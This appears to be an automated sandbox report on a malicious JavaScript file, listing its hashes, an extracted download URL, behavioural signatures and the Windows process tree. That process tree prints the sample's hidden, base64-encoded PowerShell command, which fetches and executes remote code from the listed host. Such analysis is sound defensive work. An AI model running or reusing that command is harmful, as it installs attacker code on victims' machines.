Analysis
-
max time kernel
0s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
06/01/2024, 10:04
Static task
static1
Behavioral task
behavioral1
Sample
3c61d239a11ae0d2be0f6bd9c3e3b715.js
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
3c61d239a11ae0d2be0f6bd9c3e3b715.js
Resource
win10v2004-20231215-en
General
-
Target
3c61d239a11ae0d2be0f6bd9c3e3b715.js
-
Size
78KB
-
MD5
3c61d239a11ae0d2be0f6bd9c3e3b715
-
SHA1
34b463b87711ce55d58a4256cc3802e11ae0906f
-
SHA256
6db41851a55f3efacb61f780d08271b884a5fe346725b7e22b1e082702dcab62
-
SHA512
40c023c05c55a197204c3708d7f5769e7f309322fd109cc2d09ceec9a4fc54a4929e9ec42b5ff8c126fbfb2557cc1589fd65667b174fc8876ab39375b6757d13
-
SSDEEP
1536:59Ry98guHVBqqg2bcruayUHmLKeZaMU7GwbWBPwVGWl9SZ8kV8Gp/5bzIEN4t/oU:59Ry98guHVBqqg2bcruzUHmLKeMMU7GK
Malware Config
Extracted
http://smart-integrator.hr/pornhub.php
Signatures
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1752 wrote to memory of 1580 1752 wscript.exe 21 PID 1752 wrote to memory of 1580 1752 wscript.exe 21 PID 1752 wrote to memory of 1580 1752 wscript.exe 21
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\3c61d239a11ae0d2be0f6bd9c3e3b715.js1⤵
- Suspicious use of WriteProcessMemory
PID:1752 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA2⤵PID:1580
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepoWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA1⤵PID:3060